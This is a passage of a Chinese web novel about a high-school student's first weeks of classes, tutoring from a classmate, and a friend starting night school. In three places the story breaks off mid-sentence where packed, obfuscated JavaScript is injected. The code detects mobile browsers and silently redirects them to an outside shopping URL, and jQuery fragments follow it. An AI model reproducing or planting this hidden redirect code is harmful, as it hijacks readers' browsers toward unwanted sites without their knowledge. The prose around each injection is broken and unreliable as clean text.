李小四没有跟着哀嚎。他低着头,看着自己在课本上做的笔记。笔记记得很乱,有些地方他自己都看不懂写了什么。但他把王老师讲的每一道例题都记下来了,步骤完整的,缺了步骤的,都记下来了。他打算课间把这些例题重新做一遍,把缺的步骤补上,把不懂的地方圈出来。 林小美也在整理笔记。她的笔记跟她的作业一样,工工整整,条理清晰,每一步都有,每一个结论后面都跟着推导过程。她写得很慢,但每一笔都很稳,像是在雕刻,不是在写字。 “你听懂了吗?”李小四问。 “大部分听懂了。”林小美说,“子集和真子集的概念清楚了,但后面的集合运算还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444068|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点模糊。” “我也是。” “中午一起做做题?” “好。” 第二节课是语文。沈老师走进教室的时候,大家都松了一口气——终于来了一位让人不那么紧张的老师。沈老师穿着一件淡绿色的连衣裙,头发披着,比军训的时候看起来更年轻了一些。她把课本放在讲台上,没有急着翻开,而是先跟大家聊了几句。 “第一节课,我们不急着上课。我先跟大家聊聊天。” 她靠在讲台上,姿态很放松,像是在跟朋友聊天,不是在给学生上课。 “你们知道语文是什么吗?” 有人举手:“语文就是学课文、写作文。” “还有呢?” “语文就是背古诗词、做阅读理解。” 沈老师笑了:“你们说的都对,但都不全对。语文不只是学课文、写作文、背古诗词。语文是学会说话、学会倾听、学会表达、学会理解。语文教你怎么跟人打交道,怎么把自己的想法说清楚,怎么理解别人的感受。” 她停了一下,目光从每个人脸上扫过。 “你们以后可能会忘记怎么解二次函数,可能会忘记牛顿第二定律,可能会忘记元素周期表。但你们不会忘记怎么说话,怎么写字,怎么读一篇文章的时候心里一动。这些东西,才是语文真正教给你们的。” 李小四坐在座位上,听着沈老师说话,忽然想起马老师。马老师也说过类似的话,但不是关于语文的,是关于人生的。他说“中考不是人生的终点”,他说“你们要记住这一千多个日夜”。马老师教的是数学,但他教的很多东西跟数学无关。 他想,也许每一个好老师都是一样的。他们教的不是一门课,而是怎么做一个更好的人。 下午最后一节课是体育课。 体育老师是个年轻的男人,姓刘,看起来不到三十岁,肌肉结实,皮肤是那种经常在户外活动的人才有的小麦色。他把大家带到操场上,整好队,然后说了一句让所有人都意外的话:“今天不训练,自由活动。” 男生们欢呼一声,冲向篮球场。女生们三三两两地散开了,有的去树荫下坐着聊天,有的在操场上散步,有的回教室去了。 李小四没有去打篮球。他走到操场边上的那排银杏树下,找了一块干净的草地坐下来。银杏叶还没有黄,还是那种夏天的深绿色,风一吹就哗哗地响,像无数把小扇子在一起扇风。他靠着树干,仰头看着天空。天很高,云很淡,阳光透过树叶的缝隙落下来,在他脸上投下斑驳的光影。 林小美也走过来了。她在他旁边坐下,跟他隔了一个人的距离。她手里拿着一本书,不是课本,是一本小说,封面是一幅水彩画,画着一片海和一只船。 “你还有时间看小说?”李小四问。 “午休的时候看的,”林小美说,“每天看十几页。看完了就换一本。” “你看书好快。” “不快,一天才看十几页。一本要看很久。” 李小四看着她翻开书,找到夹着书签的那一页,开始读。她读书的样子很专注,嘴唇微微动着,好像在默念,又好像只是在跟着文字呼吸。风吹过来,把她的几缕头发吹到脸上,她抬手别到耳后,眼睛始终没有离开书页。 他从书包里掏出数学课本,翻到集合那一章,开始做课后习题。题目不难,大部分都是对概念的直接考察,做起来很顺手。做到第三题的时候,他卡住了,想了一会儿没有头绪,就用笔戳了戳林小美的胳膊。 “林小美,这道题怎么做?” 林小美放下小说,看了看题目,在草稿纸上写了几行推导过程,推到他面前。 “你看,这里要用到交集和并集的定义。A交B等于空集,说明A和B没有公共元素,所以……” 她讲得很清楚,每一步都有理有据,比王老师讲的慢多了,慢到李小四不仅能听懂,还能在脑子里把每一步都画出来。 “懂了。”李小四说。 “那你做一遍给我看。” 李小四重新做了一遍,每一步都写得很详细,写完之后推给林小美看。林小美看了一遍,点了点头:“对了。” “那你继续看你的小说。” 林小美拿起小说,继续读。李小四继续做题。银杏树在头顶沙沙地响,风吹过来又吹过去,阳光从树叶的缝隙里漏下来,在地上画出一幅不断变化的光影图。操场上有人在打篮球,球鞋摩擦地面的声音、篮球砸在篮板上的声音、男生们的叫喊声混在一起,远远地传过来,像一首遥远的歌。 李小四做完最后一道题,合上课本,靠在树干上,闭上了眼睛。 他听到风声,听到树叶声,听到远处的篮球声,听到林小美翻书的声音。她的翻书声很轻,轻到不仔细听就听不到,但他听到了。每次翻书,都是纸与纸之间的一声轻响,像蝴蝶扇动翅膀。 他想,高中的生活大概就是这样吧。有听不懂的课,有做不完的题,有让人喘不过气的压力。但也有这样的下午——阳光,银杏树,风,和旁边一个安静看书的人。 他不想睁开眼睛。他怕一睁眼,这个下午就没了。 19. 第一个周末 周六上午还有四节课。 这是县一中的传统,高一到高三,每周六都要上半天课。说是半天,其实跟全天也差不多——四节课从早上八点上到十一点四十,加上早读和课间,一个上午就过去了。李小四以前听姐姐说过这件事,当时觉得不可思议,现在自己坐在这间教室里,看着窗外操场上空荡荡的跑道,忽然觉得“不可思议”这个词用在这里不太对,应该说“习以为常”。当你身在其中,什么规矩都会变得合理。 上午最后一节是英语课。英语老师姓陈,是个三十出头的女人,烫着卷发,戴着珍珠耳钉,说话的时候喜欢用手比划,像在指挥一支看不见的乐队。她的课讲得不差,但李小四听得昏昏沉沉的。不是因为她讲得不好,而是因为李小四的英语底子太薄了,薄到老师在讲定语从句的时候,他还在脑子里回想什么叫“先行词”。 下课铃响的时候,李小四的笔记本上只写了三行字。不是他不想记,是他不知道该记什么。老师说的每一个字他都听到了,但连起来就不懂了,像听一首外语歌,每个音节都清晰,但合在一起不知道在唱什么。 “你笔记借我看看?”他对林小美说。 林小美把笔记本推过来。她的笔记记得密密麻麻的,定语从句的定义、结构、关系代词和关系副词的用法、例句、注意事项,分门别类,条理清晰,还用不同颜色的笔标出了重点和易错点。李小四看着这满满当当的几页纸,再想想自己那三行字,觉得自己跟她上的不是同一节课。 “你看不懂的地方可以问我。”林小美说。 “你什么时候有时间?” “今天下午。明天也行。周末我都有时间。” 李小四犹豫了一下。他想说“那会不会耽误你学习”,但这话说出来太客套了,对林小美不需要客套。他想了想,说:“那下午两点,学校旁边的那个奶茶店?” “我不喝奶茶。”林小美说。 “那里也有别的喝的。有果汁,有茶。” 林小美想了一下:“那行。我带英语笔记和课本去。” 走出教室的时候,走廊上已经没什么人了。大部分人都急着回家,背著书包三两步就下了楼梯,脚步声在楼道里回荡,咚咚咚的,像一群急于归巢的鸟。李小四走得慢,书包带子从肩膀上滑下来一次,他重新挂上去,又滑下来,他就懒得再挂了,用手提着,一甩一甩地走。 林小美走在他前面几步远的地方,步伐不快不慢。她今天穿了一条深蓝色的长裤和一件灰色的长袖T恤,袖子撸到小臂中间,露出一截晒得发红的手腕。她的书包还是那个深蓝色的帆布书包,边角的毛边更明显了,有些地方已经磨出了白色的经纬线。 走到校门口的时候,她停下来,转过身。 “下午两点,别迟到。” “不会。”李小四说。 她骑上那辆天蓝色的自行车,走了。李小四看着她骑远,才跨上电动车,往家的方向开。九月的风吹在脸上已经有了秋天的意思,不像八月那样黏糊糊的,而是干爽的、清凉的,带着路边桂花的甜香。他把车速放慢,让风多吹一会儿。 到家的时候,妈妈正在厨房里炒菜。油烟机嗡嗡地响,香味从厨房飘出来,是青椒炒肉丝的味道。李小四换了鞋,走到厨房门口,看到妈妈的背影。她穿着那件碎花围裙,头发用夹子夹起来,露出后颈上一道深深的晒痕——那是夏天穿低领衣服晒的,到现在还没消退。 “回来了?”妈妈头也没回。 “嗯。” “下午还去学校吗?” “不去了。去奶茶店,同学帮我补英语。” 妈妈的手停了一下,然后继续翻炒:“哪个同学?林小美?” “嗯。” 妈妈没有再说话,但李小四注意到她的嘴角微微翘了一下。他假装没看到,转身去洗手,准备吃饭。 下午一点五十,李小四到了奶茶店。 这家店开在学校对面那条街上,门面不大,但里面很宽敞,有五六张桌子,靠墙还有一排沙发座。墙上贴满了便利贴,上面写着各种留言——“高考加油”“某某某我喜欢你”“希望下次月考能及格”——花花绿绿的,像一面彩色的墙。店里放着一首很老的歌,声音开得很低,听不太清歌词,只有旋律在空气里慢慢地流淌。 林小美已经在了。 她坐在靠窗的位置,面前摊着英语课本和笔记本,还有一个透明的塑料杯,里面装着淡黄色的液体。李小四走过去,在她对面坐下,看了一眼她的杯子:“你点的什么?” “柠檬水。” “你不是说不喝奶茶吗?” “这是柠檬水,不是奶茶。” 李小四觉得这个区别很重要,但他说不上来重要在哪里。他去柜台点了一杯柠檬水,然后回到座位上,从书包里掏出英语课本和笔记本。他的笔记本是开学前在文具店买的,蓝色的封面,还没写几页,大部分都是空白。 “你从哪里开始不懂?”林小美问。 “定语从句。”李小四老实地说,“老师讲的我大部分都没听懂。” 林小美没有露出“你怎么连这个都不会”的表情,也没有叹气。她翻开课本,找到定语从句那一节,指着上面的定义:“定语从句,就是在复合句中修饰名词或代词的从句。被修饰的名词或代词叫先行词。引导定语从句的词叫关系词。” 她读得很慢,每个字都咬得很清楚,像在念一首诗。 “你告诉我,这句话里,什么是先行词?” “被修饰的名词或代词。”李小四照着课本念。 “用自己的话说。” 李小四想了想:“就是……被形容的那个东西?” “对。”林小美点了点头,“被形容的那个东西。那关系词呢?” “用来引导定语从句的词。” “关系词的作用是什么?” “连接先行词和定语从句?” “对。连接。你要记住,关系词有两个作用:一是连接主句和从句,二是在从句中充当一个成分。这个很重要。” 她讲得很慢,比他上过的任何一节英语课都慢。慢到他可以跟着她的思路一步一步地走,不用担心掉队。她把关系代词一个一个地讲——who, whom, which, that, whose——每个都举了三四个例子,让他自己分析每个例子里的先行词是什么、关系词在从句里充当什么成分。他做对了她就点头,做错了她就重新讲一遍,不厌其烦。 讲到第四个例子的时候,李小四忽然觉得脑子里有一扇门开了。 不是那种“轰”的一声大开,而是像有人在黑暗里拧开了一盏台灯,光线不大,但足够他看清眼前的东西。他终于明白关系词为什么要在从句里充当一个成分了——因为它不是凭空存在的,它是从句的一部分,它代替了被修饰的那个词,在从句里担任主语、宾语或者定语。 “我好像懂了。”他说。 “那你做一下这道题。”林小美在草稿纸上写了一个句子,推过来。 李小四接过笔,慢慢地分析。先行词是the boy,关系词在从句里做主语,指人,所以用who或者that。他选了who,写在句子下面。 “对了。”林小美说。 李小四靠在椅背上,长长地呼出一口气,觉得这口气里有柠檬水的味道,酸酸甜甜的。 他们在奶茶店里待了将近两个小时。林小美把定语从句讲完了,又讲了宾语从句和表语从句。李小四的脑袋越装越满,到后来已经开始发胀了,像一块吸饱了水的海绵,再也装不下任何东西。 “今天先到这里吧。”林小美说,“你回去再把笔记看一遍,把错题整理一下。” “好。” 李小四合上课本,揉了揉眼睛。窗外的阳光已经没有那么烈了,变成了柔和的金色,照在对面教学楼的玻璃窗上,反射出一片温暖的光。奶茶店里的人多了一些,有几个穿着校服的学生坐在角落里,桌上摆着手机和奶茶,在低声聊天。 “林小美,你周末一般都做什么?”李小四问。 “写作业,看书,帮我奶奶做家务。”林小美说,“有时候去菜市场买菜。” “你不跟同学出去玩?” “不玩。” “一次都不去?” 林小美想了想:“初一的时候去过一次,跟以前的同学去逛商场。后来她转学了,就没再去了。” 李小四想说“那我周末可以约你出来吗”,但话到嘴边变成了“那你以后周末可以来奶茶店帮我补英语吗”。他觉得这句话比前一句安全得多,不容易被拒绝。 “可以。”林小美说,“但你要请我喝柠檬水。” “你不是不喝奶茶吗?” “柠檬水不是奶茶。” “对对对,柠檬水不是奶茶。”李小四笑了,“请你喝。每次来都请。” 林小美嘴角弯了一下,把课本和笔记本装进书包,站起来。 “我先走了。奶奶一个人在家。” “我送你?” “不用。骑自行车十分钟就到了。” 她背着书包走出奶茶店,推起停在门口的自行车,跨上去,蹬了一脚,骑进了夕阳里。金色的光洒在她身上,把她的头发染成了栗色,把她的白色T恤照得发亮。她骑得不快,但很稳,自行车在不太平整的路面上轻轻颠簸,车篮里装着的帆布袋跟着一起一伏。 李小四站在奶茶店门口,看着她骑远,直到她的身影变成一个小点,消失在街道的拐角处。 星期天,李小四哪儿也没去。 他早上睡到八点多才醒,在床上赖了一会儿,听着窗外的鸟叫声。秋天的鸟叫声跟春天不一样,春天是叽叽喳喳的,像在吵架;秋天是断断续续的,有一声没一声的,像在自言自语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444069|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他起床后先做了一部分作业。数学作业不难,是集合的课后习题,大部分他都会做。英语作业就难多了,有好几道定语从句的选择题他拿不准,他在题号前面画了圈,打算周一去问林小美。语文作业是写一篇周记,题目不限,字数不限。他想了好一会儿,不知道该写什么,最后写了军训最后一天的事,写周教官敬的那个军礼,写了四百多个字,结尾是“有些人走了就不会再回来,但他教给你的东西会一直跟着你”。 写完之后他读了一遍,觉得还行,就收进了书包里。 下午他看了一会儿书,不是课本,是一本从图书馆借来的小说。小说的封面很旧了,边角都磨圆了,纸张泛着淡淡的黄色。他靠在床头,慢慢地读,读到一半的时候困了,把书扣在胸口上,眯了一会儿。 醒来的时候,阳光已经从窗户照进来了,正好落在他的手上。他把手翻过来,让阳光照在手心,手心热热的,有一种被什么东西握着的感觉。 他拿起手机,看到有一条新消息。是大壮发来的。 “小四,我报了夜校。” 李小四愣了一下,坐直了身体,盯着这行字看了好几遍。 “你说什么?”他回。 大壮很快回了语音。李小四点开,大壮的声音从手机里传出来,有点吵,背景里有机器的轰鸣声。 “我说我报了夜校。厂里有个工友跟我说,有那种成人夜校,可以学技术,还能拿文凭。我打听了一下,是真的。我报了电工班,每周二四六晚上上课,学一年,考了证就能当电工。电工比普工工资高多了,而且不用干那么重的活。” 李小四听完这段语音,觉得喉咙有点紧。他清了清嗓子,发了一条语音过去:“大壮,你太厉害了。” “厉害什么呀,”大壮笑了,笑声还是以前那个样子,大大的,亮亮的,“就是不想一辈子在厂里搬东西。你不是说让我等着你考上大学吗?我等着呢。但你上大学的时候,我也不能太差啊,不然你都不好意思跟人说我兄弟。” 李小四笑了,笑着笑着眼眶就红了。 “你学得会吗?”他问。 “有点难。电工要学电路图,我物理底子差,看不太懂。但慢慢来吧,跟你学数学一样,从38分开始,总能及格的。” 李小四听到“38分”这三个字,心里像被什么东西撞了一下。他想起了马老师办公室那本卷了边的练习册,想起了自己当初咬着牙一道一道做题的样子。那段时间很难,但过去了,回头看,也不觉得有多难了。 “大壮,”他说,“你一定能考过的。” “那当然。”大壮说,“我还要等你的大学录取通知书呢。” 挂了语音,李小四坐在床边,把手机放在膝盖上,发了很久的呆。窗外的阳光慢慢移动,从他的手心移到了手腕上,又移到了手肘上。他想起很多事,想起初一那个考38分的下午,想起妈妈在饭桌上流眼泪,想起姐姐深夜一条接一条的语音,想起马老师递给他练习册时那只干燥的手,想起大壮站在路灯下挥手的样子。 这些人,一个都没有放弃他。 他也不能放弃自己。 晚上,李小四把英语笔记从头到尾看了一遍。林小美写的笔记很清晰,他看的时候能想起她在奶茶店讲的每一句话,甚至能想起她说某些字时嘴唇的形状。他看着看着,觉得那些原本陌生的语法规则开始变得熟悉了,像一个新搬进去的小区,刚开始觉得每条路都长得一样,住久了就知道哪里拐弯哪里直走。 他把定语从句的关系代词背了一遍:who指人,在从句中做主语或宾语;whom指人,在从句中做宾语;which指物,在从句中做主语或宾语;that既可以指人也可以指物;whose表示所属关系。 背了三遍,他觉得自己记住了。 他又做了一遍英语作业里画圈的那几道题。这一次,他有把握多了。不是因为他突然变聪明了,而是因为他花时间了。时间这个东西很公平,你把它花在哪里,它就在哪里开花。不是马上开,但总会开。 他把做好的作业放进书包里,把明天要上的课看了一下。周一上午是数学、物理、英语、语文,下午是体育和自习。他预习了一下数学的下一节内容——集合的基本运算,看了二十分钟,看懂了交集和并集的定义,但后面的补集还不太明白。他用红笔在不懂的地方画了线,打算明天上课的时候重点听。 做完这些,他关了台灯,躺在床上。 窗外有虫鸣,秋天的虫鸣比夏天轻多了,细细密密的,像针尖落在丝绸上。风从窗户的缝隙里钻进来,带着夜晚的凉意和远处人家炒菜的香味。他闭上眼睛,在黑暗里听着这些声音,觉得整个世界都安静下来了。 明天又是新的一周。 新的课,新的题,新的挑战。 但他不怕了。不是因为他变强了,而是因为他知道,他不是一个人。 20. 周记与传条 星期一早上,李小四到教室的时候,发现黑板上多了一行字。 “请将周记交给班长。” 字迹是沈老师的,圆润的、带一点连笔的字体,像她这个人一样,温和但有力。李小四从书包里掏出周记本,翻到自己写的那篇,又看了一遍。写的是军训最后一天的事,四百多个字,不算多,但他觉得该写的都写了。他犹豫了一下,把周记本合上,走到林小美的座位前,放在她桌上。 林小美正在整理一摞作业本,看到周记本,抬了抬头:“你的?” “嗯。” 她翻开看了一眼,目光在纸上停留了几秒钟,然后把周记本放到那摞作业本的最上面。她没有说“我看看你写了什么”,也没有说“写得好不好”,但她的目光停了几秒钟这件事,李小四注意到了。 第一节是数学课。王老师还是老样子,走进教室,翻开课本,拿起粉笔,开讲。今天讲的是集合的基本运算——交集、并集、补集。他讲得依然很快,黑板上的板书依然像书法作品,每一笔都带着锋。李小四昨晚预习过这一节,大概知道交集和并集是怎么回事,但补集这个概念让他有点晕——全集、子集、补集,三个概念搅在一起,像一锅煮糊了的粥。 王老师在黑板上画了三个圈,大圈套小圈,标了一堆字母和符号。李小四盯着那些圈圈,努力想搞清楚它们之间的关系,但越想越乱,脑子里像有一群蜜蜂在嗡嗡地飞。他低下头,在笔记本上把黑板上的内容抄下来,不管懂不懂,先抄了再说。这是他初中养成的习惯——不懂的先记下来,课后再慢慢消化。 王老师讲完补集的概念之后,出了一道题,让同学上去做。教室里安静了几秒钟,没有人举手。王老师的目光扫过全班,最后落在第一排那个戴眼镜的男生身上——李小四记得他叫赵磊,自我介绍的时候说他“没什么特长”,但他的数学看起来挺有特长,因为王老师刚说完题目他就开始在本子上写了。 “赵磊,你上来。” 赵磊站起来,走上讲台,拿起粉笔。他的手有点抖,但写出来的字很工整。他写完了第一步,第二步,第三步——写到第四步的时候停了一下,把粉笔举在半空中,好像在犹豫。然后他又写了两步,放下粉笔,退回座位。 王老师看了看黑板上的答案,沉默了两秒钟,说:“对了。步骤可以再简洁一些,但思路是对的。” 李小四把赵磊的解题步骤抄了下来,每个等号、每个符号都抄得端端正正。他想,等下课了再慢慢研究,看赵磊是怎么从已知条件推出答案的。 课间的时候,他没有出去玩。他坐在座位上,把王老师今天讲的三个概念——交集、并集、补集——重新看了一遍。他把课本上的定义读了三遍,又在草稿纸上画了几个圈,标上数字,试着求一下它们的交集和并集。画到第三遍的时候,他忽然发现补集没有那么难了——全集就是所有东西,子集是全集里的一部分,补集就是全集中去掉子集之后剩下的那一部分。这个道理他其实昨晚就看过,但那时候脑子里是一团浆糊,今天自己画了几遍,忽然就通了。 林小美从外面回来,手里拿着水杯,看到他在草稿纸上画的圈圈,弯下腰看了一眼。 “你画的这是什么东西?” “集合。我在自己画着玩。” 林小美嘴角弯了一下,没有说话,坐回自己的座位,拿出下节课的课本。 上午第四节是语文课。沈老师走进教室的时候,手里拿着一个牛皮纸信封,鼓鼓囊囊的,装了不少东西。她把信封放在讲台上,翻开最上面的一本周记本,念了一个名字:“李小四。” 李小四心里一紧。他的周记本被沈老师抽出来了,这意味着什么?写得好还是写得不好? 沈老师翻开他的周记本,念了起来。 “《最后一课》。军训的最后一天,周教官站在队伍前面,朝我们敬了一个军礼。他的手臂抬得很高,手掌绷得很直,那个姿势保持了大概五秒钟。然后他转身走了,没有回头。” 沈老师念得很慢,声音不大,但每个字都很清楚。教室里安静极了,连翻书的声音都没有。李小四低着头,脸烧得厉害,耳朵根烫得像要着火。他从来没有想过自己的周记会被当众念出来,更没有想到沈老师会用这种方式。 “教官走了之后,操场上空了很久。有人哭了,我没有哭,但我的鼻子酸了一整天。后来我想,有些人的离开是不需要说再见的,因为他教给你的东西,已经替他说了再见。” 沈老师念完了。她把周记本合上,放在讲台上,抬起头看着全班。 “这篇周记写的是军训,但我读到的不是军训。我读到的是一个学生在学习观察,学习感受,学习用文字把一瞬间变成永恒。军训只有七天,但这篇周记可以让那一天永远存在。”她停了一下,目光落在李小四身上,“李小四,你写得很好。” 教室里响起了掌声。不是很大,但很真诚,噼里啪啦的,像雨点打在玻璃上。李小四低着头,不敢看任何人。他的手指在桌子下面绞在一起,指甲掐进肉里,有点疼。但他心里有一个地方在发烫,烫得他整个人都暖烘烘的。 林小美在草稿纸上写了一行字,推过来:“你什么时候写的?” “昨天下午。” “写这么好。” “没有。”他在后面加了一个“谢谢”和一个笑脸,画得歪歪扭扭的。 林小美看了那个笑脸,嘴角弯了一下,把草稿纸折好,塞进了笔袋里。 中午,李小四没有回家。 他早上出门的时候跟妈妈说了,中午在学校食堂吃,省得来回跑。这是他第一次在高中食堂吃饭。食堂很大,能同时坐好几百人,窗口很多,但每个窗口前都排着长队。他端着一个不锈钢餐盘,站在队伍里,前面是陈屿白,后面是几个不认识的女生。 陈屿白今天穿了一件黑色的长袖T恤,帽子还是扣在头上,遮住了大半张脸。他端着餐盘,站在队伍里,一动不动,像一尊雕塑。李小四站在他后面,想跟他说句话,但不知道该说什么。说“你今天吃饭了吗”?太傻了。说“你的脚好点了吗”?又显得太刻意。他犹豫了半天,最后还是什么都没说。 打好饭,李小四端着餐盘找位置。食堂里坐满了人,他转了一圈,在角落里看到了林小美。她一个人坐在一张四人桌旁,面前摆着一个餐盘,里面是白米饭和一份炒豆芽。她吃饭的样子还是那样,慢慢的,一小口一小口的,像在数米粒。 李小四走过去,在她对面坐下。 “你今天怎么不回家?”林小美问。 “来回跑太累了。你呢?” “奶奶今天去姑姑家了,中午不在家,我自己随便吃点。” 李小四看了看她的餐盘,又看了看自己的。他今天打了两个菜——红烧鸡块和清炒西兰花。他把餐盘往中间推了推:“鸡块太多了,我吃不完,你帮我吃点。” 林小美看了一眼那几块鸡肉,犹豫了一下,夹了一块小的,放进嘴里,慢慢地嚼。 “好吃吗?”李小四问。 “还行。有点咸。” “那你还吃不吃?” 林小美没有回答,但她的筷子又伸过来夹了一块。李小四笑了,低头扒了一口饭,觉得今天的食堂饭特别香。 下午第一节课是物理。物理老师姓刘,是个年轻的男老师,戴着一副黑框眼镜,说话的时候喜欢用“对不对”来结尾,一节课下来能说几十个“对不对”。他讲的是运动的描述——质点、参考系、位移和路程。这些概念在初中学过,但高中的讲法更抽象、更严谨,不是告诉你“什么是位移”,而是让你自己判断在什么情况下位移等于路程,什么情况下位移不等于路程。 李小四听懂了大部分,但有一道例题他没太明白。例题说的是一个人从A点走到B点,再走到C点,求位移和路程。路程好算,加起来就行了。但位移要从起点指向终点的有向线段,方向很重要。李小四把方向搞反了,算出来的结果跟正确答案正好相反。 刘老师讲完这道题之后,说了一句让李小四印象深刻的话:“物理不是背公式,是理解这个世界是怎么运作的。你们以后走在路上,看到一个物体在运动,就要想一想它的位移是多少,参考系是什么。慢慢地,你们就会发现,物理就在你们身边。” 李小四把这句话记在了笔记本上。不是因为怕忘了,而是因为他觉得这句话值得记住。 下午第二节课是体育。刘老师让大家跑了两圈热身,然后自由活动。李小四跟几个男生打了半场篮球,出了一身汗,跑完之后浑身舒坦。他很久没有这样出汗了,中考之后就没怎么运动过,体能下降了不少,跑了几分钟就开始喘。他撑着膝盖,大口大口地喘气,汗水从额头滴下来,落在塑胶跑道上,洇出一小片深色的印迹。 刘洋从旁边走过来,手里拿着一个篮球,拍了拍他的肩膀:“你球打得不错,就是体力太差了。以后多跟我们一起打,练练体能。” “行。”李小四说。 他回到教室,从书包里掏出水杯,喝了一大口。水是早上装的,已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444070|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不凉了,有点温温的,但很解渴。他靠在椅背上,闭着眼睛喘气,心跳慢慢平复下来。 林小美从外面回来,手里拿着书,看到他的样子,皱了皱眉:“你打篮球了?” “嗯。” “你脸上有灰。” 李小四用手背擦了擦脸,手背上沾了一道黑色的印迹。他看了看自己的手,发现不光脸上有灰,手上、胳膊上都是灰——篮球场上灰尘大,打一场球整个人就跟从土里刨出来的一样。 “你去洗洗吧,”林小美说,“一会儿上课了。” 李小四去卫生间洗了脸和手,回来的时候上课铃刚好响了。下午第三节是自习课,沈老师不在,班长林小美坐在讲台上维持纪律。教室里很安静,大部分人都在写作业,只有笔尖在纸上沙沙的声音和偶尔翻书的声音。 李小四拿出英语作业,开始做定语从句的练习题。经过周六的补习,他做起题来顺手多了,大部分都能做对,偶尔有一两道拿不准的,他就先空着,等林小美从讲台上下来的时候问她。 林小美在讲台上坐了一会儿,看到大家都在安静地写作业,就拿着书走下来,回到自己的座位上。她坐下的时候,李小四把那几道空着的题推给她看。 林小美看了几秒钟,在草稿纸上写了解题思路,推回来。李小四照着思路做了一遍,做对了。他把答案填上去,合上作业本,长长地呼出一口气。 “林小美,”他小声说,“你以后想考什么大学?” 林小美想了想:“省内的师范大学。离家近,可以照顾奶奶。” “你不去北京上海?” “不去。太远了。” 李小四沉默了一会儿。他想说“你成绩这么好,不去好大学可惜了”,但他没有说。因为他知道,林小美有自己的路要走,她的路跟他想的不一样,但那是她自己的选择。 “我还没想好考什么大学,”李小四说,“但我想去远一点的地方。” “多远?” “很远的那种。” 林小美看了他一眼,嘴角弯了一下:“那你得好好学习。很远的地方要很高的分才能去。” “我知道。” 李小四翻开数学课本,继续看集合的补集。他看了两遍定义,又做了几道练习题,慢慢地,那些概念开始变得清晰起来。不是一下子全明白了,而是像雾慢慢散了,藏在雾后面的东西一点一点地露出来。 放学的时候,沈老师把李小四叫到了办公室。 沈老师的办公室在三楼,跟马老师的办公室在同一栋楼,但在不同的楼层。她的办公桌靠窗,桌上放着一盆绿萝,藤蔓从桌沿垂下来,长得很好,叶子油亮油亮的。墙上贴着一张课程表、一张作息时间表、一张中国地图。地图上用红笔圈了一个地方,李小四离得远,没看清是哪里。 “坐吧。”沈老师指了指旁边的椅子。 李小四坐下,把书包放在脚边。沈老师从桌上拿起他的周记本,翻开,放在他面前。 “你这篇周记写得真的很好,”沈老师说,“不是客气话,是真的好。你的文字很朴素,但感情很真。你知道为什么有些人写东西假吗?因为他们写的不是自己感受到的,是他们觉得应该感受到的。你写的是自己感受到的,这个很难得。” 李小四不知道该说什么,只是点了点头。 “我想把你的周记推荐到校刊上去,你同意吗?” 李小四愣了一下:“校刊?” “学校每个月出一期校刊,登学生的优秀作文、周记、诗歌什么的。你的这篇周记,我觉得很适合。”沈老师看着他,“当然,你可以拒绝。” “不拒绝,”李小四说,“可以的。” 沈老师笑了:“那好。你把这篇周记再抄一遍,抄到作文纸上,字写工整一点,明天交给我。” “好。” 李小四站起来,准备走,沈老师又叫住了他。 “李小四,你知道你最大的优点是什么吗?” 李小四想了想:“不知道。” “你愿意努力。”沈老师说,“这个优点比你聪明重要得多。聪明的人很多,但愿意努力的人不多。你愿意努力,你就会走得很远。” 李小四走出办公室的时候,夕阳正从走廊的窗户照进来,把整条走廊染成了橘红色。他走在光里,影子拖在身后,长长的,像一个无声的陪伴。 他把沈老师的话在心里默念了一遍:“你愿意努力,你就会走得很远。” 他想走得远。很远的那种。 21. 第一次月考 九月过得比想象中快。 快到李小四还没有完全记住全班同学的名字,日历就翻到了十月。教室后面的黑板报从“新学期新气象”换成了“欢度国庆”,粉笔画的烟花和红旗,颜色很鲜艳,画得不算精致,但热热闹闹的,看着就让人高兴。 但没有人有心情欣赏黑板报。 因为月考要来了。 这是高中第一次正式考试,虽然不计入期末成绩,但每个人都把它当成了一场预演。课间聊天的话题从“你周末去哪儿玩了”变成了“你复习到哪儿了”,食堂排队的时候有人在背英语单词,体育课自由活动的时候有人坐在树荫下看物理笔记。空气里弥漫着一种说不清的紧张感,像暴风雨来临前的那种闷,你知道雨要来了,但不知道什么时候来,也不知道有多大。 李小四也紧张。他初中三年经历了无数场考试,按理说应该习惯了。但高中不一样,高中的知识更难,高中的对手更强,高中的每一次考试都像是在提醒你——你不努力,就会掉下去。这种“掉下去”的恐惧比初中时更真实,因为初中的时候他在最底下,掉无可掉。现在他在中间偏上的位置,上面有很多人,下面也有很多人在追,他站得不算稳,随时可能被挤下去。 这种不上不下的位置,最让人焦虑。 